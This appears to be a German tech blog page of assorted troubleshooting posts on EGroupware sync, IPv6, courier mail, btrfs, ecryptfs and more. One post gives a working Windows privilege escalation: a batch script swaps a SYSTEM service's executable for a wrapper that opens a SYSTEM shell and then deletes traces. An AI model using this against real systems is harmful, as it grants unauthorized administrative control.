Als Symptome waren zunächst eine Menge Dubletten (teilweise über 50) für ein und denselben Kontakt zu finden, sowohl auf dem Mobilgerät als auch auf dem Server. Wobei jeweils nur ein Kontakteintrag die vollständige Anschrift auswies. Das Problem ließ sich durch manuelles Löschen der doppelten Einträge auf Server-Seite und Neu-Aufsetzen des Clients (Option “Gerät neu Laden im Synthesis-Client) lösen.

Anschließend stellte sich aber heraus, daß auch bei den neu synchronisierten Einträgen die Adressangeben fehlen.

In der Synthesis-FAQ wird der Tipp gegeben, die Option für die Client-Identifizierungsstring ausgeschaltet zu lassen (nennt sich “App identifiziert sich als ‘SySync Client Android ‘ “). Allerdings war diese Option bei mir bereits ausgeschaltet.

Hintergrund des Ganzen ist die Tatsache, daß EGroupware auf den Hersteller- und Modell-String des SyncML-Clients matcht, um gerätespezische Eigenheiten zu umschiffen. Der Quellcode dazu findet sich unter syncml/contacs/lib/api.php, Funktion setSupportedFields.

Wie sich bei einer weiteren Analyse auf dem Server gezeigt hat, klappt zwar das Matching auf den Client-Namen, aber EGroupware erwartet beim Hersteller “Synthesis AG”. Stattdessen gibt der neueste Client aber lediglich “Synthesis” aus. Auf dem Server findet sich im PHP-Fehlerlog auch jede Menge Einträge der folgenden Art:

Client not found:'Synthesis' 'SySync Client PocketPC PRO'

Die Programmlogik sorgt nun dafür, daß als Fallback ein Sets von Feldern genommen wird, was gerade nicht die (Privat-)Adresse umfasst.

Ein schneller Workaround ist in setSupportedFields den ‘synthesis ag’ case einfach auf ‘synthesis’ zu verkürzen. Zumindest in meinem Fall hat das nach einem weiteren “Gerät neu laden” dazu geführt, daß auch die Anschriften wieder verfügbar waren. Langfristig mag es sinnvoll sein, von dem fehleranfälligen Matchen von Client-Strings wegzukommen. Synthesis scheint auch gut mit allen Feldern ($defaultFields[1]) auszukommen.

In die Falle kann man laufen, wenn man eine Ausgabe erzeugen will, bei dem ganze Zahlen angezeigt werden sollen. ceil liefert z.B. einen solchen “-0″ – Wert. Folgendes Programm liefert die Ausgabe “Float-Vergleich: gleich, String-Vergleich: ungleich” :

#include <stdio.h>
#include <math.h>
#include <string.h>

int main()
{
    const float minusnull = ceil(-0.4f);
    char str[3];
    sprintf(str, "%.0f", minusnull);
    printf("Float-Vergleich: %sgleich, ", (minusnull == 0.0f )?"":"un");
    printf("String-Vergleich: %sgleich\n", (strncmp(str, "0", 2) == 0)?"":"un");
}

Als Poweruser kann man immerhin Programme installieren und Dienste starten und beenden (zumindest war das bei der damaligen Konfiguration der Fall) . Weiterhin war auf dem Rechner ein Visual Studio installiert, mit dem sich C-Programme übersetzen ließen. Damit sind die Schritte zur Wiedererlangung des Zugriffs die Folgenden:

• überschreiben der Exe-Datei eines vorhandenen Dienstes mit einem Wrapper-Programm
• das Wrapper-Programm startet dabei eine Shell
• da der Dienst mit SYSTEM-Rechten ausgeführt wird, hat auch die Shell SYSTEM-Rechte, man kann also damit Änderungen durchführen, die einem Poweruser nicht erlaubt sind (z.B. ihn zum Administrator machen)

Zunächst das Skript launchSystemConsole.bat, was die Dateien austauscht, den Dienst startet und stoppt und anschließend die Spuren löscht :

set servicename="WinVNC4"
set serviceexe="C:\Program Files\RealVNC\VNC4\WinVNC4.exe"
set startwrapper="c:\temp\startwrapper.exe"

copy %serviceexe% %serviceexe%.sav
copy %startwrapper% %serviceexe%
echo start "SYSTEM console" cmd.exe /T:C0 > c:\temp\filetostart.txt

net start %servicename%
net stop %servicename%

copy %serviceexe%.sav %serviceexe%
del c:\temp\filetostart.txt

startwrapper.exe ist das Kompilat von startwrapper.c :

#include <stdio.h>
#include <stdlib.h>
#define MAX_LINE_LENGTH 255

void usage(const char *fileName)
{
   printf("Usage: startwrapper [executable]\n\n");
   printf("If no executable is given, startwrapper tries to open the file %s,\n",fileName);
   printf("reads the first line and executes it as command\n");
}

int main(int argc, char *argv[])
{
   FILE *f;
   const char *fileName = "C:\\temp\\filetostart.txt";
   char line[MAX_LINE_LENGTH];

   f = fopen(fileName, "r");
   if ( f == NULL)
   {
      usage(fileName);
      printf("\nError: Could not open file %s.\n", fileName);
      return 1;
   }

   fgets(line, MAX_LINE_LENGTH ,f);
   if (ferror(f))
   {
      printf("\nError: Could not read first line of file %s", fileName);
      return 2;
   }

   fclose(f);
   system(line);

   return 0;
}

Hintergrund: Beim Würfeln des Postfix (der temporären Hostadresse) verwendet Linux zwei Timer: valid lifetime und preferred lifetime. Solange die preferred lifetime nicht abgelaufen ist, verwendet der Kernel für rausgehende Verbindungen diese Adresse. Im Hintergrund wird daneben noch eine Liste geführt mit abgelaufenen IPv6-Hostadressen für die aber noch Verbindungen akzeptiert werden (valid lifetime).

In dem betroffenen System sind beide Werte große genug, daß dies auch für lange Verbindungen kein Problem darstellen sollte:

$ sysctl net.ipv6.conf.eth1.temp_valid_lft
net.ipv6.conf.eth1.temp_valid_lft = 604800

$ sysctl net.ipv6.conf.eth1.temp_prefered_lft
net.ipv6.conf.eth1.temp_prefered_lft = 86400

Obwohl das System vor nicht allzulanger Zeit gebootet wurde zeigt ein ip -6 addr show bereits mehrere temporäre IPv6-Adressen mit verdächtig kurzen Lebenszeiten:

inet6 2002:55b4:2d3b:1:3059:12ab:caf1:8475/64 scope global temporary dynamic
valid_lft 245sec preferred_lft 65sec
inet6 2002:55b4:2d3b:1:98f4:ba60:7ed3:dbba/64 scope global temporary deprecated dynamic
valid_lft 155sec preferred_lft 0sec
inet6 2002:55b4:2d3b:1:607a:bd6c:25d4:f4b8/64 scope global temporary deprecated dynamic
valid_lft 43sec preferred_lft 0sec

Es hat sich rausgestellt, daß der Kernel die definierten Werte mit der Lebenszeit der Router-Advertisements überschreibt und dies auch dann tut, wenn vor dem Ablauf des alten ein neues Advertisement empfangen wurde.

Offenbar ist das Ganze sogar in RFC3041 so gefordert. Seit Kernel-Version 3.2 ist das neuere RFC4941 implementiert, daß diese Schwachstelle ausbessert. Leider sind damit ohne Kernel-Update die Privacy-Extensions auf älteren Systemen ziemlich untauglich. Aber immerhin scheint das Problem in einer Vorabversion von Ubuntu 12.04 behoben zu sein.

Nach längerer Fehlersuche stellt sich heraus, daß die Mails in die Unterverzeichnisse von /var/spool/courier/tmp/ eingestellt werden, aber die Einreihung in die Queue scheitert. Ein Aufruf von mailq zeigt keine Einträge an.

Ein strace -Ffo out.txt bash -c 'echo test|sendmail adresse@example.com' offenbart, daß eine Datei nicht geöffnet werden kann:

24201 open(“/var/spool/courier/tmp/trigger”, O_WRONLY|O_NONBLOCK|O_LARGEFILE) = -1 ENXIO (No such device or address)

Bei trigger handelt es sich um eine Pipe. Das Schreiben eines einfachen Newlines in die Datei veranlasst den courierd-Prozeß die Daten aus dem tmp-Verzeichnis zu Scannen und in die Mail-Queue einzureihen. Klappt das Öffnen einer Pipe-Datei nicht, ist das ein Zeichen dafür, daß auf der anderen Seite ein Prozeß fehlt, der die Befehle entgegen nimmt.

In der Tat fehlt der zentrale Prozeß courierd. Ein manueller Aufruf mit strace -fo out_courierd.txt /usr/lib/courier/sbin/courier start führt zu der Ursache des Problems:

1938  stat64(“/etc/sysconfig/i18n”, 0xbfe96c10) = -1 ENOENT (No such file or directory)
1938  open(“/etc/sysconfig/i18n”, O_RDONLY|O_LARGEFILE) = -1 ENOENT (No such file or directory)

1938  write(2, “/etc/courier/courierd: line 43: “…, 79) = 79

Während des Aufstartens wird die Konfigurationsdatei /etc/courier/courierd im Shellkontext aufgerufen. Diese Datei ist im Grunde ein Shell-Skript und setzt bestimmt Umgebungsvariablen, die von später gestarteten Prozessen ausgewertet werden.

Beim Durchlaufen des Skripts ist offenbar ist Zeile 43 ein Fehler aufgetreten, der zum Abbruch führte. Tatsächlich wird dort schlicht /etc/sysconfig.i18n eingebunden (. /etc/sysconfig.i18n).

Aus welchen Gründen auch immer ist auf dem betroffenen System diese Datei nicht vorhanden. Dazu muß man wissen, daß bei courier in letzter Zeit größere Umbau-Arbeiten im Internationalisierungs- und Sprachenbereich stattgefunden haben. Wahrscheinlich deshalb hat das Fehlen der Datei erst in dieser Version zu einem schweren Fehler geführt.

Das Problem lässt sich einfach lösen, indem man die Datei /etc/sysconfig.i18n mit folgenden Standardwerten füllt:

LANG=”de_DE.UTF-8″
SYSFONT=”latarcyrheb-sun16″

Nach einem /etc/init.d/courier restart start auch wieder der courierd – Prozeß und das Queueing funktioniert wieder.

RewriteEngine on
# Prevent redundant rewrites - only rewrite when https is off
RewriteCond %{HTTPS} !=on
RewriteRule ^/tracks(.*) https://example.com/tracks$1 [R,L]

ServerSignature On
ProxyRequests Off

     Order deny,allow
     Allow from all

ProxyPass /tracks http://127.0.0.1:3000
ProxyPassReverse /tracks http://127.0.0.1:3000
ProxyPreserveHost On

Im Grunde ist das nicht besonders schwer. tt-rss bietet schon von sich aus für jeden Feed einen Link an, der wiederrum die Inhalte des ursprünglichen Feed beinhaltet:

Passt man die GET-Parameter an, kann auch man auf die ungelesenen Einträge filtern:

public.php?op=rss&view_mode=unread&id=1key=abcde123

Der Parameter id spiegelt dabei die interne ID des abonnierten Feeds wieder. Der Parameter key ist ein Zufallswert, der für jeden Feed und tt-rss-Benutzer eindeutig ist. Damit ist es möglich auch ohne die Login-Daten einzutragen, diesen speziellen Feeds zu abonnieren.

Calibre selbst wiederrum fasst Feeds in sogenannten Recipes zusammen, wobei ein Recipe in einem einzelnen Ebook mündet. Die Advanced-Einstellung offenbart den zugrundliegenden Python-Code:

class AdvancedUserRecipe1324229980(BasicNewsRecipe):
   title = u'ttrss'
   oldest_article = 100
   max_articles_per_feed = 100
   feeds = [(u'Name Feed 1', u'https://server/ttrss/public.php?op=rss&view-mode=unread&limit=200&id=22&key=29...'), \
            (u"Name Feed 2", u'https://server/ttrss/public.php?op=rss&view-mode=unread&limit=200&id=64&key=79...)}

Hat man viele Feeds ist es aber zum einen sehr mühsam in der tt-rss-Oberfläche sich diese Feeds zusammenzuklicken und händisch GET-die Parameter anzupassen. Aus diesem Grund habe ich das Skript ttrss2calibre geschrieben, was die Handarbeit abnimmt und direkt einen String generiert für den “feeds = ” Teil.

Der Kindle/calibre ist übrigens so schlau, nur die Feeds anzuzeigen, in denen tatsächlich es auch ungelesen Nachrichten gibt. Das Endergebnis sieht dann z.B. so aus:

Einen sauberen heise-Feed bekommt man übrigens mit dem rss-extender.

Ein Blick in dmesg verrät, daß ein Dateisystem tatsächlich erst nach 437s gemountet wird:

[  437.483764] device label backup-intern devid 1 transid 1620 /dev/sdb1

Dabei handelt es sich um eine btrfs-Partition, mit der es unter der Version 10.10 keine Probleme gegeben hatte. Für das Problem wurde auch schon ein Bugreport geschrieben. Ironischerweise ist die Ursache ein Bugfix für einen Fehler in Ubuntu 10.10.

Hintergrund

Ist bei einem Eintrag in /etc/fstab das sechste Feld auf “1″ gesetzt (was bei mir aus welchen Gründen auch immer der Fall war), wird auf diesem Dateisystem beim Booten ein fsck ausgeführt. Technisch wird dabei unter /sbin/fsck.[filesystemname] aufgerufen.

Bekanntlich ist nun btrfsck im aktuellen Zustand nur von begrenztem Nutzen. Aus diesem Grund gab es bei 10.10 keinen Symlink von /sbin/fsck.btrsfs auf /sbin/btrfsck. Dies wurde aufgrund des ersten Bugreports “gefixt”. Aufgrund der unvollständigen Implementierung führt btrfsck aber einen jedesmal einen vollen Scan des Dateisystems durch, auch wenn es zuletzt korrekt ungemountet wurde.

In letzter Konsequenz wird also bei jedem Booten ein voller Dateisystem-Scan durchgeführt, was zu der erheblichen Verzögerung führt.

Workaround

Entweder den Symlink /sbin/fsck.btrsfs löschen oder das sechste Feld in /etc/fstab auf “0″ setzen.

Will man Outlook 2007 dazu bringen Emails grundsätzlich erstmal als Text-Only anzuzeigen, so findet man diese Einstellung nicht etwa unter Extras - Optionen, sondern im Vertrauenseinstellungscenter und dort im Unterpunkt E-Mail-Sicherheit.

Wer hat sich das nur wieder ausgedacht …

• Befehle in der crontab des Users werden doppelt – zweimal hintereinander – ausgeführt.
• su – Kommandos auf den User werden doppelt ausgeführt (su -c ls user führt zur zweifachen Ausgabe des Verzeichnisinhaltes)

Nach einigen Nachforschen hat sich ein Zusammenhang zu ecryptfs rausgestellt. Mit einem testweise umbenannten ~/.ecryptfs verschwanden die Phänomene. Dabei hatte der User ein ~/.ecryptfs angelegt, welches nicht beim Einloggen automatisch eingehängt wird (~/.ecryptfs/auto-mount existiert nicht).

Das Verhalten ist auch schon beschrieben im Ubuntu-Bugtracker :

This bug is most likely not in cron. The integration of eCryptfs in PAM is causing problems elsewhere as well. If I log out from a VC and have an ~/.ecryptfs directory, then logout behaves weirdly, and I have to quit *two* shells, before I’m actually logged out.

The icky behaviour seems to be triggered because I’m not using the ~/.ecryptfs/auto-mount option.

Glücklicherweise funktioniert der dort beschriebene Workaround (in /etc/pam.d/common-session* ecryptfs auskommentieren) auch in meinem Fall und die Befehle kommen nur noch einmal zum Zug.

Das ganze ist auch Beschrieben unter http://neokipling.blogspot.com/2011/05/ecryptfs.html .